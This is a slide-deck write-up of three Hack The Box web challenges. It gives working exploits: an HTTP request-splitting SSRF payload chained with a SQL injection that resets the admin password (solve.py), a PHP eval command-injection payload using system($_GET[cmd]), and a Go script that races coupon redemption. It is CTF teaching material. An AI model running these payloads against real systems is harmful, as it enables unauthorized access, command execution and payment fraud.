# <span style="color: gold;">Weather App</span> <!-- .slide: data-background="https://icon-library.com/images/weather-icon-gif/weather-icon-gif-15.jpg" data-background-size="90%" --> --- ## Overview --- ![image](https://hackmd.io/_uploads/HJAjizWYh.png) This challenge has source code, let's download and review it. :sunny: --- ![](https://hackmd.io/_uploads/SJqRLr-Y3.png) --- The app has routes: - / - /register - /login - /api/weather If you can login as admin, you will get flag :triangular_flag_on_post: but /register only provide for local (127.0.0.1). Only one `/api/weather` left, `/api/weather` is key ? Let's solve this challenge together, shall we!!! --- ## Analysis --- ### /login ``` javascript [6|8-13] router.get('/login', (req, res) => { return res.sendFile(path.resolve('views/login.html')); }); router.post('/login', (req, res) => { let { username, password } = req.body; if (username && password) { return db.isAdmin(username, password) .then(admin => { if (admin) return res.send(fs.readFileSync('/app/flag').toString()); return res.send(response('You are not admin')); }) .catch(() => res.send(response('Something went wrong'))); } return re.send(response('Missing parameters')); }); ``` As mentioned above, the final task is to log in to the admin account --- ### /register ```javascript= [3-5] router.post('/register', (req, res) => { if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') { return res.status(401).end(); } let { username, password } = req.body; if (username && password) { return db.register(username, password) .then(() => res.send(response('Successfully registered'))) .catch(() => res.send(response('Something went wrong'))); } return res.send(response('Missing parameters')); }); ``` Only local can register. When I read up to this point, I tried to use SSRF to register, but unfortunately :cry: it couldn't bypass. So i continue read `/api/weather` --- ### /api/weather ```javascript= [2|5] router.post('/api/weather', (req, res) => { let { endpoint, city, country } = req.body; if (endpoint && city && country) { return WeatherHelper.getWeather(res, endpoint, city, country); } return res.send(response('Missing parameters')); }); ``` Note: This is api weather, post request with 3 datas: endpoint, city, country in body and `WeatherHelper.getWeather` takes those parameters to process. From here, we can see that the API trusts any data sent to it :open_mouth:. Let's see what WeatherHelper.getWeather does. --- #### getWeather ```javascript= [5] async getWeather(res, endpoint, city, country) { // *.openweathermap.org is out of scope let apiKey = '10a62430af617a949055a46fa6dec32f'; let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`); if (weatherData.name) { let weatherDescription = weatherData.weather[0].description; let weatherIcon = weatherData.weather[0].icon.slice(0, -1); let weatherTemp = weatherData.main.temp; switch (parseInt(weatherIcon)) { case 2: case 3: case 4: weatherIcon = 'icon-clouds'; break; case 9: case 10: weatherIcon = 'icon-rain'; break; case 11: weatherIcon = 'icon-storm'; break; case 13: weatherIcon = 'icon-snow'; break; default: weatherIcon = 'icon-sun'; break; } return res.send({ desc: weatherDescription, icon: weatherIcon, temp: weatherTemp, }); } return res.send({ error: `Could not find ${city} or ${country}` }); } ``` Note: `getWeather` only makes a get request to endpoint url, this means that even if we successfully perform SSRF, we can only send a GET request. "If we perform SSRF successfully and are able to send a POST request, what could we do?" --- ```javascript= [5-6] async register(user, pass) { // TODO: add parameterization and roll public return new Promise(async (resolve, reject) => { try { let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`; resolve((await this.db.run(query))); } catch(e) { reject(e); } }); } ``` `register` has a vul SQLi --- ```javascript= [4-6] async isAdmin(user, pass) { return new Promise(async (resolve, reject) => { try { let smt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?'); let row = await smt.get(user, pass); resolve(row !== undefined ? row.username == 'admin' : false); } catch(e) { reject(e); } }); } ``` but `isAdmin` does not --- <!-- .slide: data-background="https://i.imgflip.com/2e8syk.jpg" data-background-size="50%" data-background-opacity="0.6"--> From here, we can understand the author's intention, which is to chain the SSRF vulnerabilities and then exploit SQL injection to reset admin's password :exploding_head: ```sequence Attacker->App: SSRF via /api/weather to register Note right of Attacker: (if u can send post request) App -> DB: SQLi to reset passwd admin ``` Note: But... how to send post request ??? in package.json has "nodeVersion": "v8.12.0" so i searched: "node Version 8.12.0 ssrf" --- ![](https://hackmd.io/_uploads/HkKnmwbK2.png) Note: All search results lead to `Http request/response splitting`. After reading for a while, I got confused between the types of attacks: HTTP Request splitting, CRLF, and HTTP request smuggling :dizzy_face:. --- I simply understand that by exploiting the encoding process using the latin1 type, an attacker can ask the server to send multiple requests, leading to being vulnerable to SSRF. ![](https://hackmd.io/_uploads/B1BD65MKh.png) --- Dont use HTTP Request splitting ```sequence Attacker->/api/weather: Post: endpoint=127.0.0.1,... Note right of Attacker: ("It may be SSRF, but not SQLi.") /api/weather -> /register: Get /register -> DB: not injected ``` --- Use HTTP Request splitting ```sequence Attacker->/api/weather: Post: endpoint=127.0.0.1 + ...+ Post + ...,... Note right of Attacker: ("Get FLAGGGGG") /api/weather -> /register: Get /api/weather -> /register: Post /register -> DB: injected ``` --- ### Exploit --- Start construct payload, pay attention to the query in `register`: `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')` Note: The following SQL query inserts a new row into the "users" table with the username "admin" and password "1". However, if there is a conflict (i.e., if there is already a row in the table with the same username), the statement will update the password for that row to "admin" instead. --- INSERT INTO users (username, password) VALUES ('admin', '<span><!-- .element: class="fragment highlight-red" -->1') ON CONFLICT(username) DO UPDATE SET password = '1';-- -</span>') --- So i inject: ``` username=admin password=1') ON CONFLICT(username) DO UPDATE SET password = '1';-- ``` Note: I found github: https://github.com/Cameleopardus/latin1enctrunc_payload_generator i felt very easy rewrite code python to gen payload --- web.txt ```txt= 127.0.0.1/ HTTP/1.1 Host: 127.0.0.1 POST /register HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 87 username=admin&password=1%27) ON CONFLICT(username) DO UPDATE SET password = %271%27;-- GET /wtfidontknowwhy ``` --- solve.py ```python= import requests url = "http://178.128.42.78:30783" f = open("web.txt", 'rb') data = f.read() print(data) def encode_latin1(data): return "".join(chr(i+256) if i in [9,10,13,32] else chr(i) for i in data) payload = encode_latin1(data) print(payload) json={'endpoint':payload,'city':'a','country':'a'} res=requests.post(url=url+'/api/weather',json=json) print(res.text) ``` --- Login with password `1` and get flagggg: ![](https://hackmd.io/_uploads/HJUR53GYn.png) ![](https://hackmd.io/_uploads/H1axj2MFh.png) Nah so hard, I feel like I've improved more --- --- # <span style="color: #FF69B4;">LoveTok</span> <!-- .slide: data-background="https://hackmd.io/_uploads/SkcF6wKF2.gif" data-background-size="100%" data-background-opacity="0.6" --> --- ## Overview --- ![](https://hackmd.io/_uploads/SyrJy_KY3.png) Note: This challenge has source code, let's download and review it. --- Flag's name is random ![](https://hackmd.io/_uploads/Bk97J_YK2.png) so we definitely have to RCE --- ![](https://hackmd.io/_uploads/rJdjxutY3.png) --- hmm have vul in param `format=` ![](https://hackmd.io/_uploads/HydpxuFF2.png) --- not ssti, dont guessing, try open source :open_file_folder: ![](https://hackmd.io/_uploads/ByAm-uYKh.png) --- ![](https://hackmd.io/_uploads/r14EfOtKh.png) --- ![](https://hackmd.io/_uploads/SyXvz_FYn.png) --- ## Analysis --- `TimeController.php` ```php= [6-8] <?php class TimeController { public function index($router) { $format = isset($_GET['format']) ? $_GET['format'] : 'r'; $time = new TimeModel($format); return $router->view('index', ['time' => $time->getTime()]); } } ``` --- `TimeModel.php` ```php= [6|14] class TimeModel { public function __construct($format) { $this->format = addslashes($format); [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ]; $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second"; } public function getTime() { eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));'); return isset($time) ? $time : 'Something went terribly wrong'; } } ``` Note: When I saw that line 14 used eval and string concatenation, I attempted command injection but was unsuccessful because `addslashes()` was filter. --- ![](https://hackmd.io/_uploads/rJ8hxXJc3.png) ![](https://hackmd.io/_uploads/BJ8zbmyq3.png) --- ![](https://hackmd.io/_uploads/BytUcdKF3.png) --- Is there any other way to do it without using the aforementioned things? --- ![](https://hackmd.io/_uploads/r1SQadKFh.png) --- http://138.68.141.218:30059/?format=`${phpinfo()}` ![](https://hackmd.io/_uploads/S1N4ROKt2.png) --- ![](https://hackmd.io/_uploads/SJojAutYn.png) --- `${system($_GET[cmd])}&cmd=ls` <=> `$cmd="ls";system($cmd);` ![](https://hackmd.io/_uploads/r1Si1FFt2.png) --- ![](https://hackmd.io/_uploads/SkRExtFK2.png) ![](https://hackmd.io/_uploads/H1kPeYtF2.png) --- Additionally, there is another way. ![](https://hackmd.io/_uploads/Bk3k-YKFn.png) ![](https://hackmd.io/_uploads/S1vZ-FtK3.png) ![](https://hackmd.io/_uploads/Hkr7bYKF3.png) --- # <span style="color: #ff4500; ">Diogenes' Rage</span> <!-- .slide: data-background="https://hackmd.io/_uploads/SyqtV-yq2.gif" data-background-size="100%" data-background-opacity="" --> --- ## Overview --- ![](https://hackmd.io/_uploads/S1Zq3W1q3.png) --- ![](https://hackmd.io/_uploads/SykAhZ192.png) --- ![](https://hackmd.io/_uploads/SJ5eTZyq3.png) --- ![](https://hackmd.io/_uploads/SJ8GpWJ53.png) --- ![](https://hackmd.io/_uploads/HkTVTbJ9h.png) --- ![](https://hackmd.io/_uploads/rJ_06W19h.png) --- `/api/reset`: reset session ```javascript= router.get('/api/reset', async (req, res) => { res.clearCookie('session'); res.send(response("Insert coins below!")); }); ``` --- `/api/coupons/apply`: post ticket ```javascript= router.post('/api/coupons/apply', AuthMiddleware, async (req, res) => { return db.getUser(req.data.username) .then(async user => { if (user === undefined) { await db.registerUser(req.data.username); user = { username: req.data.username, balance: 0.00, coupons: '' }; } const { coupon_code } = req.body; if (coupon_code) { if (user.coupons.includes(coupon_code)) { return res.status(401).send(response("This coupon is already redeemed!")); } return db.getCouponValue(coupon_code) .then(coupon => { if (coupon) { return db.addBalance(user.username, coupon.value) .then(() => { db.setCoupon(user.username, coupon_code) .then(() => res.send(response(`$${coupon.value} coupon redeemed successfully! Please select an item for order.`))) }) .catch(() => res.send(response("Failed to redeem the coupon!"))); } res.send(response("No such coupon exists!")); }) } return res.status(401).send(response("Missing required parameters!")); }); }); ``` --- `/api/purchase`: purchase items ```javascript= router.post('/api/purchase', AuthMiddleware, async (req, res) => { return db.getUser(req.data.username) .then(async user => { if (user === undefined) { await db.registerUser(req.data.username); user = { username: req.data.username, balance: 0.00, coupons: '' }; } const { item } = req.body; if (item) { return db.getProduct(item) .then(product => { if (product == undefined) return res.send(response("Invalid item code supplied!")); if (product.price <= user.balance) { newBalance = parseFloat(user.balance - product.price).toFixed(2); return db.setBalance(req.data.username, newBalance) .then(() => { if (product.item_name == 'C8') return res.json({ flag: fs.readFileSync('/app/flag').toString(), message: `Thank you for your order! $${newBalance} coupon credits left!` }) res.send(response(`Thank you for your order! $${newBalance} coupon credits left!`)) }); } return res.status(403).send(response("Insufficient balance!")); }) } return res.status(401).send(response('Missing required parameters!')); }); }); ``` --- ## Analysis --- At the beginning, I tried to find SQLi but couldn't because all queries used prepared statements. ```javascript= [4-5] async addBalance(user, coupon_value) { return new Promise(async (resolve, reject) => { try { let stmt = await this.db.prepare('UPDATE userData SET balance = balance + ? WHERE username = ?'); resolve((await stmt.run(coupon_value, user))); } catch(e) { reject(e); } }); } ``` --- Start with `/api/coupons/apply` ```javascript= [5|9-10|15|17-18] return db.getUser(req.data.username) .then(async user => { if (user === undefined) { await db.registerUser(req.data.username); user = { username: req.data.username, balance: 0.00, coupons: '' }; } const { coupon_code } = req.body; if (coupon_code) { if (user.coupons.includes(coupon_code)) { return res.status(401).send(response("This coupon is already redeemed!")); } return db.getCouponValue(coupon_code) .then(coupon => { if (coupon) { return db.addBalance(user.username, coupon.value) .then(() => { db.setCoupon(user.username, coupon_code) .then(() => res.send(response(`$${coupon.value} coupon redeemed successfully! Please select an item for order.`))) }) .catch(() => res.send(response("Failed to redeem the coupon!"))); } res.send(response("No such coupon exists!")); }) } return res.status(401).send(response("Missing required parameters!")); }); ``` --- Continue with `/api/purchase` ```javascript= [6|13-15|17-19] router.post('/api/purchase', AuthMiddleware, async (req, res) => { return db.getUser(req.data.username) .then(async user => { if (user === undefined) { await db.registerUser(req.data.username); user = { username: req.data.username, balance: 0.00, coupons: '' }; } const { item } = req.body; if (item) { return db.getProduct(item) .then(product => { if (product == undefined) return res.send(response("Invalid item code supplied!")); if (product.price <= user.balance) { newBalance = parseFloat(user.balance - product.price).toFixed(2); return db.setBalance(req.data.username, newBalance) .then(() => { if (product.item_name == 'C8') return res.json({ flag: fs.readFileSync('/app/flag').toString(), message: `Thank you for your order! $${newBalance} coupon credits left!` }) res.send(response(`Thank you for your order! $${newBalance} coupon credits left!`)) }); } return res.status(403).send(response("Insufficient balance!")); }) } return res.status(401).send(response('Missing required parameters!')); }); }); ``` --- After reviewing all the source code, I wondered to myself: `what is the vulnerability after all?` ![](https://i.pinimg.com/originals/d8/ce/f5/d8cef59b6851a938f3541f90c5fed1cb.gif) --- It's a bit embarrassing :sob:, but I had to read the write-up and known that the vulnerability in this challenge is `race condition` ![](https://i.pinimg.com/originals/e5/8e/1f/e58e1f9a7444cdf86a45525b2d1e48a8.gif) --- But where is the `race condition` ? `/api/purchase` or `/api/coupons/apply` ? ![](https://publish-01.obsidian.md/access/186a0d1b800fa85e50d49cb464898e4c/assets/race-condition.gif) Absolutely <span> "/api/purchase" cuz only posting a ticket increases the balance.<!-- .element: class="fragment" data-fragment-index="1" --> </span> --- ![](https://hackmd.io/_uploads/SykAhZ192.png) --- ```javascript= [1-8|13-20] router.post('/api/coupons/apply', AuthMiddleware, async (req, res) => { return db.getUser(req.data.username) .then(async user => { if (user === undefined) { await db.registerUser(req.data.username); user = { username: req.data.username, balance: 0.00, coupons: '' }; } const { coupon_code } = req.body; if (coupon_code) { if (user.coupons.includes(coupon_code)) { return res.status(401).send(response("This coupon is already redeemed!")); } return db.getCouponValue(coupon_code) .then(coupon => { if (coupon) { return db.addBalance(user.username, coupon.value) .then(() => { db.setCoupon(user.username, coupon_code) .then(() => res.send(response(`$${coupon.value} coupon redeemed successfully! Please select an item for order.`))) }) .catch(() => res.send(response("Failed to redeem the coupon!"))); } res.send(response("No such coupon exists!")); }) } return res.status(401).send(response("Missing required parameters!")); }); }); ``` Note: We can see from lines 13-20 that the processing takes time but there is no protection, so a race condition occurs here. The race condition we are targeting is to increase the balance of a session (a user), but if we do it like above, we will only receive new sessions. So, what if we add the cookie we just received in the response of /api/coupons/apply to a new request? --- ![](https://hackmd.io/_uploads/HkLTim1c3.png) --- ```javascript= [8-12] router.post('/api/coupons/apply', AuthMiddleware, async (req, res) => { return db.getUser(req.data.username) .then(async user => { if (user === undefined) { await db.registerUser(req.data.username); user = { username: req.data.username, balance: 0.00, coupons: '' }; } const { coupon_code } = req.body; if (coupon_code) { if (user.coupons.includes(coupon_code)) { return res.status(401).send(response("This coupon is already redeemed!")); } return db.getCouponValue(coupon_code) .then(coupon => { if (coupon) { return db.addBalance(user.username, coupon.value) .then(() => { db.setCoupon(user.username, coupon_code) .then(() => res.send(response(`$${coupon.value} coupon redeemed successfully! Please select an item for order.`))) }) .catch(() => res.send(response("Failed to redeem the coupon!"))); } res.send(response("No such coupon exists!")); }) } return res.status(401).send(response("Missing required parameters!")); }); }); ``` --- All I want is a cookie that doesn't set Coupon and luckily `/api/purchase` helped me do that. ![](https://gifdb.com/images/high/excited-baby-pepe-the-frog-kb0apx9jn78gj1f0.gif) --- ![](https://hackmd.io/_uploads/BkKLU4kc3.png) --- ```javascript= [4-7] router.post('/api/purchase', AuthMiddleware, async (req, res) => { return db.getUser(req.data.username) .then(async user => { if (user === undefined) { await db.registerUser(req.data.username); user = { username: req.data.username, balance: 0.00, coupons: '' }; } const { item } = req.body; if (item) { return db.getProduct(item) .then(product => { if (product == undefined) return res.send(response("Invalid item code supplied!")); if (product.price <= user.balance) { newBalance = parseFloat(user.balance - product.price).toFixed(2); return db.setBalance(req.data.username, newBalance) .then(() => { if (product.item_name == 'C8') return res.json({ flag: fs.readFileSync('/app/flag').toString(), message: `Thank you for your order! $${newBalance} coupon credits left!` }) res.send(response(`Thank you for your order! $${newBalance} coupon credits left!`)) }); } return res.status(403).send(response("Insufficient balance!")); }) } return res.status(401).send(response('Missing required parameters!')); }); }); ``` --- ![](https://hackmd.io/_uploads/r1MKL4k53.png) Note: Okey now get cookie and attack race condition --- ![](https://hackmd.io/_uploads/B1Ww_4Jqh.png) --- I used basic.py but made some changes to it. ![](https://hackmd.io/_uploads/HyBVtVk9n.png) --- Remember to copy the cookie from the response of `/api/purchase` and my file `HTB_100.txt` contains 500 words`HTB_100`. ![](https://hackmd.io/_uploads/S1L05Ny92.png) --- 500/500 response 200 ? amazing, that's first time In previous attempts, I only got around 30/500. ![](https://hackmd.io/_uploads/r1MGiEyqn.png) --- ![](https://hackmd.io/_uploads/SJ3KiE1q3.png) --- This is a Golang script I found, although it runs 20 goroutines, it seems to need to be run multiple times to succeed (or maybe due to my poor internet connection). ```go= package main import ( "fmt" "io" "log" "net/http" "net/http/cookiejar" "os" "strings" "sync" ) const ( UrlBase = "http://159.65.81.48:31241" EndpointApplyCoupon = "/api/coupons/apply" EndpointPurchase = "/api/purchase" ) func main() { // http client with cookie jar jar, _ := cookiejar.New(nil) client := &http.Client{ Jar: jar, } // attempt to purchase the item once to store cookie in jar _, err := client.Post( fmt.Sprintf("%s%s", UrlBase, EndpointPurchase), "application/json", strings.NewReader(`{"item":"C8"}`), ) if err != nil { log.Fatal(err) } // run the exploit; multiple concurrent requests to apply the coupon var wg sync.WaitGroup for i := 0; i < 20; i++ { go func() { wg.Add(1) defer wg.Done() resp, err := client.Post( fmt.Sprintf("%s%s", UrlBase, EndpointApplyCoupon), "application/json", strings.NewReader(`{"coupon_code":"HTB_100"}`), ) if err != nil { log.Fatal(err) } defer resp.Body.Close() }() } // wait for all coupon application requests to finish wg.Wait() // purchase the item! resp, err := client.Post( fmt.Sprintf("%s%s", UrlBase, EndpointPurchase), "application/json", strings.NewReader(`{"item":"C8"}`), ) if err != nil { log.Fatal(err) } defer resp.Body.Close() io.Copy(os.Stdout, resp.Body) } ``` --- ![](https://hackmd.io/_uploads/S1_m2Nk5h.png) ---
{"description":"type: Slide","slideOptions":"{\"transition\":\"slide\",\"theme\":\"white\"}","title":"HTB Easy Challenges","contributors":"[{\"id\":\"c74bbc54-aa8b-4410-98f5-4e5d80703bc6\",\"add\":26874,\"del\":3081}]"}
    1128 views